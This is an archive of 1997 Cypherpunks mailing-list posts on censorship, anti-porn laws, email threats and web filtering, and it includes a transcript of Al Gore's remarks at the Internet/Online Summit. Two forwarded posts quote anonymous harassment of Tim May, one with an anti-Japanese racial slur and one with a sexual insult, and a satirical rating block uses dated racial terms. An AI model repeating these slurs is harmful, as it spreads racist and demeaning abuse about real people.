-0700, Tim May wrote: >At 8:42 AM -0700 12/3/97, Declan McCullagh wrote: >>This is nothing new. Honest (self-identified) leftists like my friend Bob >>Chatelle complain about the censors on the left almost as much as censors >>on the right. Other fave leftist censorship causes: >> >>-- MacKinnonite antiporn laws (she's a self-identified Marxist, I recall) > >And her partner, Andrea Dworkin, belies the oft-quoted notion that someone >so far to the left comes out a libertarian rightist. No, this chick Dworkin >is so far left she's just plain _left_. She argues that porn for womyn (or >is it wimmin?) is fine and dandy, because this represents lesbian >sisterhood exploring their own blah blah blah, but porn aimed and directed What you watch is pornography; What I watch is erotica. ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From real at freenet.edmonton.ab.ca Wed Dec 3 11:49:53 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Thu, 4 Dec 1997 03:49:53 +0800 Subject: your mail In-Reply-To: Message-ID: On Tue, 2 Dec 1997, bureau42 Anonymous Remailer wrote: I think Vulis needs each of us to send ten copies of this back to him. > Timmy C[...] May is a slant-eyed, rice-gibbling jap in a redneck disguise. > > ---._.--- > / | \ > / * \ > ( @@ ) > / _/-||-\_ \ > / '/ || \` \ > / / () \ \ > / /| |\ \ > / / | | \ \ > / / / o o \ \ \ > / / ( ) \ \ > <_ ' `--`___'`___'--' ` _> > / '~~--- / = \ ---~~` \ > ,,,/ / ( v ) \ \,,, > \ / / @|-' '-|@ \ \ / > \__/ ////// \__/ > > > Dave Smith bends over for Gary Burnore, Paul Pomes, and the rest > of the Databasix gang. > > --- > > Dr.Dimitri Vulis KOTM > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From real at freenet.edmonton.ab.ca Wed Dec 3 12:15:15 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Thu, 4 Dec 1997 04:15:15 +0800 Subject: RSA In-Reply-To: <199712021055.LAA19014@basement.replay.com> Message-ID: On Tue, 2 Dec 1997, Anonymous wrote: I think Vulis needs each of us to send ten copies of this back to him. > Tim C[retin] May studied yoga back-streching > exercises for five years so he could blow > himself (nobody else will). > > (((> /< > ( / > ((({{{{{:< Tim C[retin] May > \ > \< > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From tcmay at got.net Wed Dec 3 12:49:57 1997 From: tcmay at got.net (Tim May) Date: Thu, 4 Dec 1997 04:49:57 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: At 11:47 AM -0700 12/3/97, David Honig wrote: >At 09:44 AM 12/3/97 -0700, Tim May wrote: >>And her partner, Andrea Dworkin, belies the oft-quoted notion that someone >>so far to the left comes out a libertarian rightist. No, this chick Dworkin >>is so far left she's just plain _left_. She argues that porn for womyn (or >>is it wimmin?) is fine and dandy, because this represents lesbian >>sisterhood exploring their own blah blah blah, but porn aimed and directed >What you watch is pornography; >What I watch is erotica. Indeed, and in a wonderful case of schadenfreude, when the Dworkin-MacKinnon anti-porn law was enacted in Canada, "Lesbitan Erotica" bookstores and publishers were shut down. (I believe this was in Toronto, and it may have only been in that city or region that the law was enacted, not in all of Canada. Toto can clarify.) Predictably, the feministas squealed like stuck pigs (or is it pigesses?). They claimed that the law was intended to block "male uses" of certain images, not uses by womyn and other exploited peoples. Be careful what you wish for, double-edged swords, and all that. When will they learn that the simple cure to such double-edge swords is not passing authoritarian laws in the first place? --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From hauman at bb.com Wed Dec 3 13:02:56 1997 From: hauman at bb.com (Glenn Hauman) Date: Thu, 4 Dec 1997 05:02:56 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: At 1:47 PM -0500 12/3/97, David Honig wrote: >What you watch is pornography; >What I watch is erotica. And what the person over there watches is filth. Best-- Glenn Hauman, BiblioBytes http://www.bb.com/ From tm at dev.null Wed Dec 3 13:12:33 1997 From: tm at dev.null (TruthMonger) Date: Thu, 4 Dec 1997 05:12:33 +0800 Subject: 'Off' the parking pigs! In-Reply-To: <3.0.5.32.19971202122124.007a4b60@otc.net> Message-ID: <3485C76A.1963@dev.null> David Honig wrote: > At 04:31 PM 12/2/97 -0600, TruthMonger wrote: > >> SANTA ANA, Calif., Dec. 2 (UPI) _ Saying the case has national importance, > >> federal prosecutors will > >> retry a 20-year-old man accused of sending threatening electronic mail to > >> Asian students at UC Irvine. > > Are we supposed to feel 'safer' in public, knowing that we may be > >surrounded by people to whom it may be worthwhile to kill a few cops > >and innocent bystanders in order to avoid punishment for sending > >nasty email, or having an unpaid parking ticket? > > Turn the facetiousness down a notch, Monger-san. I think you have me confused with TluthMongel. > This moron sent death threats to individuals. > It is pretty reasonable IMHO to hold people responsible for direct threats > when AND ONLY WHEN they can be traced to them (duh). In the jury's humble opinion, the prosecution didn't prove its case. This is no problem for the government. They have the deep pockets required to prosecute as many times as needed to refine their attempts to manipulate the minds of the jurors, or to get lucky and have a few members of a split jury vote to convict because they don't want to blow their trip to the Stones' concert. Lame fucks spending taxpayer money want to throw away a shitload of money prosecuting this dweeb for a dweeb stunt and throw away a bunch more money keeping him from fleeing the country so that he can be thrown out of the country if convicted. Meanwhile, murderers who have actually killed people will be getting plea agreements that result in being released decades earlier. Why? Because the court system is overloaded. > But if the messages > were traceable, I've not yet read a (usually brilliant) Monger rave > wherein you argue > that personal responsibility for threats is a null concept. Chief CypherPunks Hate Criminal, Tim May, can generally be counted on to expound much more eloquently than myself on the concepts and sometimes subtle differences between freedom of speech and freedom to get your ass kicked for being a fucking loudmouth asshole. My specialty is my ability to back up my bad hominy random character assassinations, a la George Carlin, by telling people what they already know (but pretend they don't really know), by shining the Verbal Light of Truth upon the InfoFog generated by others and ourselves in a desparate attempt to convince ourselves that the sign announcing the entranceway to the Home for the Criminally Insane is not, in fact, on the 'wrong' side of the door. (aka - hollering "Bullshit!") e.g. - "Knixon knew!" "The Iranian hostages who cost Carter the election were released on Reagan's inauguration day. How lucky can you get?" OswaldActedAloneMonger From tm at dev.null Wed Dec 3 13:13:05 1997 From: tm at dev.null (TruthMonger) Date: Thu, 4 Dec 1997 05:13:05 +0800 Subject: Bad Cop, Worse Cop / Bum and Bummer / Re: CDT and the Threat of Gov't Intervention In-Reply-To: <199712021617.LAA28265@arutam.inch.com> Message-ID: <3485B272.16C7@dev.null> David Honig wrote: > At 12:46 AM 12/3/97 -0500, Declan McCullagh wrote: > >Besides demonstrating that cyberporn is a topic that will never > >disappear, the Kids and the Net summit has highlighted the tensions > >between the different types of Net-advocacy groups here in Washington. > I'm sure the Feds are happy that their Good Cop (Clinton) / Bad Cop (Freeh) > routine is having the divisive effect they planned, and making sacrifices > seem acceptable. Yes, but Freeh is now positioning himself to be best pals with the incoming Republican President. Would _you_ vote for a politician whom the FBI Director has implied is part of a criminal tag-team that deserves investigation by a special prosecutor? A politician whose previous running mate was embroiled in WhiteWATER and FosterGATE at a time when hard evidence that a former president was GUILTY in WATER-GATE is coming to the fore? "Vote for the manipulated public image of your choice, but vote." Our 'democracy' is run by Information Management Engineers. Or so I would have you believe... TruthMonger From tcmay at got.net Wed Dec 3 13:14:04 1997 From: tcmay at got.net (Tim May) Date: Thu, 4 Dec 1997 05:14:04 +0800 Subject: CDT and the Threat of Gov't Intervention In-Reply-To: Message-ID: At 10:00 AM -0700 12/3/97, David Honig wrote: >At 12:46 AM 12/3/97 -0500, Declan McCullagh wrote: >>Besides demonstrating that cyberporn is a topic that will >>never disappear, the Kids and the Net summit has >>highlighted the tensions between the different types of >>Net-advocacy groups here in Washington. > > >I'm sure the Feds are happy that their Good Cop (Clinton) / Bad Cop (Freeh) >routine >is having the divisive effect they planned, and making sacrifices seem >acceptable. And made many people clamor for self-policing software. I have always advocated filtering and self-selection of articles, magazines, television, movies, restaurants, etc. As such, Web filters are fine things. If one _only_ wants to read articles favorable to Scientology, or critical of Catholics, or catering to certain sexual interests, hey, find some filter services or program your own.... However, the drumbeat is being heard that such filter services may not be fully "voluntary," inasmuch as the Government is "assisting" in their development, as the current confab shows. (One wonders what the reaction would be if Bill Clinton, Ira Magaziner, and other government officials helped organize a conference on how *religions* can help police themselves and avoid incorrect thoughts? "Churches must learn to police themselves and avoide heresies, so that government action will not be needed.") And there are some who want "mislabelling" made a crime. Thus, if I claim that my site and my words are suitable for children, and someone (like Janet Reno) disagrees, I could be charged with "misrepresentation." This is a wedge to demolish free speech, this "accuracy in labelling" business. Religions could be forced to "accurately label" their messages. Speech could be shut down while courts debate whether "misrepresentation" occurred. As the saying goes, "What is truth?" And even if truth can be determined, truth is not a requirement for free speech. (Truth in courtrooms and in contract situations are of course different situations than ordinary free speech, in speaking, writing, publishing, and broadcasting.) (Yes, I am opposed to FDA and SEC rules on truthful speech, unless contracts are involved. If Joe wants to advertise his Magic Elixir, let him. Reputations and ratings services (truly free ones, that is) are the key to bad speech.) So, the government should just bow out completely, as it is inappropriate for government to be involved in any way with speech rating. "Congress shall make no law..." should really be interpreted as "Government should not get involved at all in...." But of course government has wiggled and connived its way into speech in many ways. From the catch-all excuse of "regulating commerce," to the increasing number of restrictions on commercial speech, on speech in violation of Title 7 of the Civil Rights Act, to selective prosecution for threats and RICO conspiracy and on and on.... --Tim May Voluntary Mandatory Self-Rating of this Article (U.S. Statute 43-666-970719). Warning: Failure to Correctly and Completely Label any Article or Utterance is a Felony under the "Children's Internet Safety Act of 1997," punishable by 6 months for the first offense, two years for each additional offense, and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself not contain material in violation of the Act. ** PICS/RSACi Voluntary Self-Rating (Text Form) ** : Suitable for Children: yes Age Rating: 5 years and up. Suitable for Christians: No Suitable for Moslems: No Hindus: Yes Pacifists: No Government Officials: No Nihilists: Yes Anarchists: Yes Vegetarians: Yes Vegans: No Homosexuals: No Atheists: Yes Caucasoids: Yes Negroids: No Mongoloids: Yes Bipolar Disorder: No MPD: Yes and No Attention Deficit Disorder:Huh? --Contains discussions of sexuality, rebellion, anarchy, chaos,torture, regicide, presicide, suicide, aptical foddering. --Contains references hurtful to persons of poundage and people of color.Sensitive persons are advised to skip this article. **SUMMARY** Estimated number of readers qualified to read this: 1 Composite Age Rating: 45 years From declan at well.com Wed Dec 3 13:51:08 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 4 Dec 1997 05:51:08 +0800 Subject: Transcript of Gore's remarks at "Censorware Summit" Message-ID: This is a transcript of Al Gore's remarks (not his prepared remarks, but his actual remarks) at the "Censorware Summit" yesterday. --Declan *********** REMARKS BY VICE PRESIDENT AL GORE AT THE INTERNET/ONLINE SUMMIT INTERNET/ONLINE SUMMIT: FOCUS ON CHILDREN RENAISSANCE HOTEL 999 NINTH STREET NW WASHINGTON, DC TUESDAY, DECEMBER 2, 1997 VICE PRESIDENT GORE: Thank you, Christine. Thank you, ladies and gentlemen. Thank you. Thank you very much for your warm welcome. And Christine Varney, I want to thank you for your kind introduction. And I want to tell you how much I appreciate your friendship over the years, and how much President Clinton and I appreciate the outstanding work that you did in the White House and the Federal Trade Commission and as a leader in so many ways. And that leadership is demonstrated again as you chair this Internet/Online Summit. Let me also thank and congratulate co-chair Bill Burrington and the summit host, Steve Case of American Online, and host Dan Schulman of AT&T and Laura Jennings of Microsoft and Jake Weinbaum (sp) of Walt Disney and Dan Oakrent (sp) of Time Warner. And I want to acknowledge with special praise my colleague in President Clinton's Cabinet, the secretary of education, Richard Riley, who will speak after I do. I want to thank the students of Hind (sp) Junior High School here in the District of Columbia and Rocky Run Middle School in Fairfax, Virginia; Rock Creek Valley Middle School in Maryland; and Du Fief (sp) Elementary School in Maryland. These kids who are behind me took part in an Internet demonstration in an adjacent room just before this morning's session, and I was very, very impressed with all of the things they showed me and their skills and their teachers and their librarians. And I want to thank all of you for inviting me here today and congratulate you for this summit. The president and I hosted a meeting back on July 16th, with many of those who are leaders of this summit. We challenged the industry to move forward. This independent initiative which has been undertaken is, I think, most impressive and a very, very important step forward. Your interest in expanding the vast opportunities and living up to the growing responsibilities of the Internet is admirable. I'm pleased to be here today to outline some objectives and announce some important initiatives to help make this exciting new tool safe for our children. Both the president and I have long been convinced that the Internet is not a luxury or a diversion; it is an essential tool for children. And its use is fast becoming an essential skill for adults. That is why we're committed to connecting every classroom and school library to the Internet by the year 2000. We have already connected 65 percent of our schools in a very short period of time. We're ahead of schedule in meeting our broader goals. Earlier this morning, as I mentioned a moment ago, I heard some more reasons why we should encourage our young people to get on-line. The parents and children that are behind me, and their teachers and librarians, told me about how their families use the Internet. The high value these parents place on their children's Internet explorations is more proof that the Internet offers unsurpassed opportunity for our children and also for the businesses that can serve this fast-growing market. You know, throughout the history of our civilization, we have learned how to store knowledge outside of our own brains, first in spoken language and then in written language, in culture and its various manifestations, including song and dance. And then with the invention of the printing process, the ability to store knowledge outside the brain grew by leaps and bounds. The Electronic Revolution further advanced this process. But now the Internet allows our civilization to take a quantum leap forward, dramatically changing the way we relate to this rapidly growing amount of knowledge that's stored outside the brain and is accessible to people all over the world. And as our children go through the learning and acculturation process, it is absolutely essential that they learn how to use the Internet, just as it became essential for children, in the learning process, to learn how to read books when the print process was first invented. Ten million children are already on the Internet, and that's four times as many as just a few years ago. In a short time, more young people will be connected to the Internet than any other segment of the population. And yet the parents I talk to express deep concerns about Internet content they consider inappropriate for children. They made it clear that if the Internet industry hopes to serve the interests of America's children, it must first gain the trust of America's parents. That is why this administration has charged the Internet industry with taking the responsibility and taking the lead for making the Internet safe for children. You have taken some important and impressive first steps. I want to congratulate you for your efforts in this area - the search engines, the filtering and blocking software, the access to high- quality children's sites and a choice of rating systems so that parents can find the one that meets their families' needs. In tandem with that, I want to congratulate the sponsors of the tens of thousands of web sites who have voluntarily self-rated those sites. And I want to congratulate you again for organizing this conference and stepping into the middle of a very difficult debate. And we need to understand clearly why it is so difficult and not be daunted by that task or scared away from wading into the middle of this and finding a solution. It's a debate about a 21st century question: How do we keep our children safe while protecting the First Amendment and preserving the limitless opportunities of this exciting new technological medium that changes form and content on a daily basis? Some say we should refrain from any action, that all action to block children's access to objectionable content amounts to censorship. To them I say, blocking your own child's access to objectionable Internet content is not censoring; that's called parenting. And it is essential. And a parent's right to block offensive speech is as fully protected by the First Amendment as the right to issue that speech. There is a view, which I consider an absurd view, that defines "children" as "nothing more than miniature adults," not really in need of special protection from material that their parents believe they're not ready to process and handle. Well, children are not "miniature adults." Their minds are developing and growing and evolving. And they are especially vulnerable to some kinds of images and information that, of course, ought to be freely available to adults who have matured and developed and have the full rights of citizenship to choose whatever they want to see and listen to and read and look at. Children are in a different category, and that ought not be a controversial conclusion. But still others say that government must immediately come in with a heavy hand and outlaw certain activities on the Internet. Well to them, I say we need to listen to the justices of the Supreme Court and to the United States Constitution that binds them. Since the days of George Washington and John Marshall, when Chief Justice Marshall, the greatest chief justice of all, told us that the Supreme Court does indeed interpret the Constitution; as a nation of laws, we have been bound to follow our Constitution and the interpretations of that Constitution given by our Supreme Court. And the court has ruled that we must find methods to keep our children safe that do not infringe on the free speech of others. Therefore, we must give ourselves the time we need to develop these methods. In short, we must meet this 21st-century challenge in a 21st-century way, not by using the heavy hand of government in ways that would harm and squelch this exciting new resource, and certainly not by ignoring the dangers and allowing our children to roam free and unsupervised on the Internet. Instead, we should pursue a third way, an American way: allow the industry to take the lead, with the help and guidance of government, advocacy groups, and families, to provide parents with the education and the tools they need to preserve both safety and freedom on the Internet. You have begun this effort. And I know that there's only a small percentage of sites on the Internet that parents feel are not healthy for their children. You have begun designing the tools to guide children away from content that their parents consider harmful and steer them toward content that their parents consider helpful. So the work you've begun is extremely important, and doing it well, so that it is an effective solution, is an absolutely essential task. You know as well as I do that the Internet will never be a fixture in every home until parents have the tools they need to make it safe for their children's explorations. There is a danger for this effort to degenerate into a discussion about how to avoid regulation. To be successful, it must be elevated to a discussion about how to meet the needs of America's families. Industry will never be able to meet those needs unless it devotes the same resources and commitment to designing parental controls that it would devote to the design and launch of any new product. I'm convinced that this is an area where you will do well by doing good. So again I say, industry must do more. I congratulate you on what you have done and on the great promise signified by this meeting here. But it means that industry must keep working to make the new technologies easier to use, more effective, and more widely available. And this is not to slight the current developments, because they are indeed impressive, but it is to put them in the context of our overall goal of making sure that every parent has the technology and the technological know-how to guide their children to sites on the information superhighway just as easily as they guide their families to places on the interstate highway. These tools must become as commonplace and as easy to use as the remote control on the family TV. And yet, allowing parents to block access to sites they deem objectionable is not the only issue the industry faces. To gain the trust of parents and families, you must give users, and especially children and parents, control over how their private information is used over the Internet. In addition, we must also look at direct marketing to children. If Internet sites for kids continue to feature advertising blurred into entertainment and targeted directly at children, parents may soon shut off the Internet. You might as well prepare yourselves if there's not an effective industry-led solution. You might as well prepare yourselves for a massive nationwide backlash that will stunt the growth of this exciting resource. That shouldn't happen. It doesn't have to happen. But it will happen unless the industry-led solution to these problems also are effective, not just - let me emphasize again - not just theoretically effective, not just designed in a way that they ought to be effective, but really and actually effective in the real-life experiences of American families. You've got a lot at stake, and so the resources and the level of effort you devote to this task ought to be commensurate with the importance of finding a real solution. The Department of Commerce will be hosting conferences early next year to focus on issues of quality, content, access, privacy, marketing and advertising for children. The first of these conferences will focus on access and will take place from February 25th through February 27th. I challenge the industry to bring to these conferences, just a few months from now, several clear ideas for addressing these issues and, by addressing them, go a great distance toward gaining the trust of concerned parents. Of course, we have said that industry's role is to take the lead, not to carry the entire load. And so today, I am pleased to announce several initiatives that will work in tandem with industry efforts by helping educate parents about the availability of parental controls and how they can use them to help protect their children. First of all, I am delighted to announce the release of a new "Parents Guide to the Internet" prepared, at the president's request, by the Department of Education. And Secretary Riley will be talking more about this in a few moments, but this "Parents Guide to the Internet," we hope, will become a valuable resource for parents who want to understand how they can play a responsible role as parents in helping to protect their children against inappropriate sites and inappropriate material, and finding the exciting opportunities that really are available for educational and cultural purposes on the Internet. Parents today face a "technogeneration" gap that's different from anything that they ever experienced with their own parents. One journalist wrote that it's almost as if Ward and June Cleaver were suddenly charged with supervising the Jetson children, Judy and Elroy - (laughter) - a pretty good analogy. This new guide introduces parents to the Internet and suggests how they can help their children experience its wonders and dodge its hazards. I'm also pleased to announce a new national public awareness campaign calling - called "Think, Then Link." This will feature a national town hall meeting, scheduled for next fall, to be held in schools all across the country and designed to educate adults and children about how to create a safe online environment. This will be followed by local town hall meetings at libraries, schools, and community centers across the country. This is part of our effort to give parents the tools they need to ensure a safe, constructive Internet experience for their children. But those tools themselves are not enough. They must be accompanied by aggressive enforcement of the anti-stalking, child pornography, and obscenity laws as they apply to cyberspace. And that's why I'm pleased that the leading Internet service provider associations are announcing a new agreement to cooperate with law enforcement authorities on a zero-tolerance policy against child pornography. Internet service providers will be working closely with law enforcement to report and pursue any suspicious activity. I really want to congratulate these providers for stepping forward in this fashion. We've had experiences in the Reinventing Government effort that has resulted in airlines reporting on information that drug smugglers might be involved in air freight shipments. And the partnership between the airline carriers and the Customs people has resulted in a really dramatic improvement in that whole law enforcement effort. And this new partnership, I believe, is likely to have similar dramatic effects. I'm also pleased to announce a cybertips line - in effect, a 911 number for the Internet. This number will work like an emergency hot line or a crimestoppers tip line, and will take reports on illegal Internet activity related to child pornography and predation. This project is sponsored by the National Center for Missing and Exploited Children, with a sizeable grant from the Department of Justice. It is a warning to criminals and a promise to parents: There are Internet police for those activities that are illegal, and they will capture and punish those who would use the Internet to harm and hurt our children. Together, these new initiatives will make a significant difference in the ability of parents and law enforcement to work together to keep our children safe on the Internet. Most parents quickly learn the value of letting children explore. Small children can learn much more from emptying a cupboard of pots and pans onto the floor than they could ever learn by direct instruction. Weight, balance, sound, texture, touch, temperature - there is no human being competent to teach a child all those lessons. They're just too vast and varied. Therefore, sometimes the best teaching is to encourage exploring. So, just as a parent covers electrical outlets when a baby is crawling around and locks medicine cabinets to protect children against poisoning, and cushions the hard corners of coffee tables to make a home safe for a child to explore, we must also help parents anticipate and block dangerous places on the Internet to make it safe for a child to explore. And again, children are special, and different from adults. I think it's hard for us to debate that point about the Internet, partly because throughout the history of civilization, societies that have core values always have difficulty debating issues that bring those core values into place. Our core value in the United States of America is freedom of speech, freedom of religion, freedom of expression. Those who founded the United States came here in order to establish that core value. And any time a new proposal or a new idea or a new challenge rubs up against that core value in any way, it's very difficult for our country to come to terms with it. And there's always going to be a group that takes an absolutist view that is different from what the Supreme Court has said the Constitution endorses, and we'll always have very, very heated debates whenever this subject is dealt with. And we understand you can't eliminate all risk, but you can get to the point where the risk of letting children explore is less than the risk of not letting them explore. And we can deal with this issue in a way that does not compromise our core value of freedom of expression. This will take a lot of effort, and the combined conversation of all the boardrooms, classrooms, living rooms and chat rooms in America, to sort out the issues and give parents the tools they need to childproof the Internet. We will never achieve a complete consensus here in Washington, DC, I guarantee you. But that's okay. The debate will not be won in Washington; it will be won in the hearts and minds of America's families. And that's where the only victory that matters is going to take place. For the sake of our children, let's keep up the fight to uphold both freedom and safety on the Internet. I'm convinced, after seeing and hearing all of you here today, it's a fight that we're going to win as Americans. Thank you very much for what you're doing and for having me here today. (Applause.) Thank you. From nospam-seesignature at ceddec.com Wed Dec 3 13:52:07 1997 From: nospam-seesignature at ceddec.com (nospam-seesignature at ceddec.com) Date: Thu, 4 Dec 1997 05:52:07 +0800 Subject: The Policeman Inside In-Reply-To: <3.0.2.32.19971125212727.00770890@pop.sirius.com> Message-ID: <97Dec3.164131est.43009@brickwall.ceddec.com> >Kent Crispin wrote: >However, the "anarchy" in cryptoanarchy is quite structured. (I was >quite seriously criticized for using a dictionary definition of >anarchy, you may recall...) If there were *no* rules, then murder is >OK, and ownership means nothing. Furthermore, cryptoanarchy requires >the sanctity of contracts, which implies a whole bunch. Of course I can get confused when some cryptoanarchists links the militia movements (which aren't properly anarchic) with cryptography. A second point is that it requires an internet social structure that allows for reputation capital - contracts are enforced technologically (e.g. you did or not digitally sign something so the truth of a violation is not really subject to argument in an idealized version), but the only recourse is to spread true negative gossip, which requires recursive reputation capital - i.e. I must be already known to be truthful and not petty for someone to believe such gossip, and the target of the gossip will have to have a history of cheating. >The whole notion of "the policeman inside" is stupid sloganeering. Of >*course* we have a policeman inside -- we have something that tells us >(at least some of us) that murder, theft, and dishonesty are >behaviors to be avoided. We have something that tells us (some of us) >it would be foolish to make a habit of running red lights. Others can't seem to tolerate the idea that there should be any lights and we should rely on our ability as drivers to avoid killing each other. My point with on internet pornography, etc. is that we should avoid such things out of convention (a red light that is not under surveillence) so as to avoid the requirement for law. On Wed, 26 Nov 1997, Greg Broiles wrote: > "The policeman inside" is neither a conscience nor an instinct towards > self-preservation. I'm familiar with the term being used to refer to the > internalization of a system of external rules, coupled with a belief in > pervasive surveillance and/or the adoption of the viewpoint of an external > supervisor, such that one with a "policeman inside" learns to fear > punishment at every moment and in every situation. See, for example, > Bentham's Panopticon or Foucault's _Discipline & Punish_ for more on the > topic. I have more reading to do. For the moment I can accept your definition, but it doesn't change the real world: Even if no one ever watches a junkie shoot up, the needle containing the HIV virus will still infect him and he will still incur that punishment. Good and evil are not like Schrodinger's cat where observation is necessary to determine the outcome. The second assumption is a society where there are bad laws - the system of external rules in your above description are tyrannical. But to return to the root, I don't think anyone that has said "that it is not right to advocate nasty things" (e.g. kiddie porn being posted to the internet) is doing so because of your definition of the policeman inside, they do so because they think the act is intrinsically wrong. The only other reason is that doing so is bad from a propaganda standpoint - most people will dismiss the most rational argument when it is said by a nasty person. They aren't in perpetual fear of punishment. > Also, you may note that two of the three terms you used as examples of > "wrong" behavior themselves imply judgments and a moral position - "theft" > and "murder". Whether or not the taking of a physical thing is "theft" can > be a complex question, that has a lot to do with contracts and agreements > and socially constructed ideas about property. Similarly, "murder" is (to > adopt a broad definition) an unlawful and intentional homicide - which, > again, presupposes certain judgements about relationships between people. Or these may not be merely be societal conventions, but trancendent truths (Natural Law to use the old-fashioned term). Moreover, it is not a complex question unless lawyers get involved, or we start making the definitions fuzzy in some other manner. Of course definitions of evil acts presupposes moral judgements, but anything else presupposes relativism (which in itself is a moral judgement) or worse. This is one of the reasons I get so upset about the state of our educational system. If words don't have a solid meaning, or that the vocabulary is too small to work to express the concepts necessary to describe things, then the result is a relativism by default since no one knows what "ownership" or "property" or "theft" means. These words have had fixed meanings in many languages for thousands of years. There is a lot of semantic confusion, but if semantics doesn't exist, then every message ever posted disappears into Babel. Otherwise you have to use the existing words, moral implications and all. > It's easy to say that "theft and murder are wrong", because wrongness is > part of the meaning of the terms "theft" and "murder". It's much less > satisfying to say something like "it's wrong to take things that someone > else thinks they own, unless they're mistaken or you have a superior claim" > or "it's wrong to shoot someone who didn't deserve to be shot". I only see it as an expansion of the definition. If I have a true claim on something, I own it and taking it from me without my consent is theft by definition; If I am mistaken, then I didn't own it in the first place. You can also continue this recursively (take - move, remove, destroy, control...) so you can expand "theft is wrong" into a book. And this might be to the benefit of those who don't yet understand the concept of theft. But it won't help those who understand and reject that concept. A serial killer might consider a law against murder as tyrannical, and thus have a "policeman inside" that prevents him from murdering for the wrong reasons (instead of having a properly formed conscience), but in either case the murder is prevented. > It's the creation of a "policeman inside" which causes people to lose their > ability to make judgements about which people (if any) ought to be shot and > which people deserve to keep their stuff. And that loss of the ability > (cognitive and moral) is, I think, a direct cause of the very crimes (theft > and murder) you mention. The ability to regulate one's self is being wasted on complying with silly or immoral rules (I filled out the form so give me my government benefits) rather than on civility. It is easier to be a pro-government automaton than to be a free moral agent. And in that I agree that it is probably the cause of those crimes. But the government has a stake in creating automatons and to keep people in fear, so instead of creating moral agents who won't murder and rob, they let crimes continue to scare people into abandoning their free will. And in that sense, a "policeman inside" is a far worse evil because it is subtle - it passes for morality but is an abandonment thereof. --- reply to tzeruch - at - ceddec - dot - com --- From stewarts at ix.netcom.com Wed Dec 3 14:03:07 1997 From: stewarts at ix.netcom.com (stewarts at ix.netcom.com) Date: Thu, 4 Dec 1997 06:03:07 +0800 Subject: [RePol] Re: Pasting in From: you@yourmachine.com In-Reply-To: <19971203142004.12956.qmail@nym.alias.net> Message-ID: <3.0.3.32.19971203093552.00748ecc@popd.ix.netcom.com> At 02:20 PM 12/03/1997 -0000, Charlie Comsec wrote: >You start to tread on dangerous ground when you concern yourself with the >content (body) of a post. If, for example, you start to filter on content, >then you're implicitly approving anything that you do allow to pass through. >That sets a precedent that's hard to contain and exercising editorial control >over the contents increases the remailer operator's legal liability for >material posted. If some victim of forged hatemail to Usenet requests that your remailer block all email containing her name and address, is that legitimate? Or if somebody's forging death threats with her name at the bottom? I think yes, assuming the forgee is not a sufficiently public figure like Hillary Clinton or Janet Reno that would lead to obvious disbelief. (If Gary Burnore makes the same request, you've got a tradeoff between doing the safe thing, and blocking, or doing what he deserves and also reposting copies run through some jive filter. :-) I agree that blocking postings based on content that isn't specifically targeting someone who's requested in advance is probably not a good idea. Thanks! Bill Bill Stewart, stewarts at ix.netcom.com Regular Key PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From declan at well.com Wed Dec 3 14:09:54 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 4 Dec 1997 06:09:54 +0800 Subject: CDT and the Threat of Gov't Intervention In-Reply-To: Message-ID: Danny, I may respond in more detail to your post shortly (I'm supposed to be working on an article right now), but I wanted to ask you: Does CDT consider itself to be a "civil liberties" group? If so, how do you reconcile that stance with CDT director Jerry Berman's statements this week and elsewhere that we need to "balance free speech" and "balance civil liberties" with other concerns? If so, how do you reconcile this with your anti-civil liberties "compromises" on issues like wiretapping, the "harmful to minors" version of the CDA you supported, and the "crypto in a crime" jail penalties you continue to support? CDT seems to take positions that are often much closer to business lobbyists than civil liberties groups. Now, I don't mind business lobbyists -- I'm friends with many of them and I talk with them every day -- but I want to be clear on your position. -Declan On Wed, 3 Dec 1997, Daniel J. Weitzner wrote: > At 12:45 AM -0500 12/3/97, Declan McCullagh wrote: > >Besides demonstrating that cyberporn is a topic that will > >never disappear, the Kids and the Net summit has > >highlighted the tensions between the different types of > >Net-advocacy groups here in Washington. > > > >The civil liberties groups (ACLU, EPIC, EFF, CPSR), and > >journalism, publishers, and media groups have lined up on > 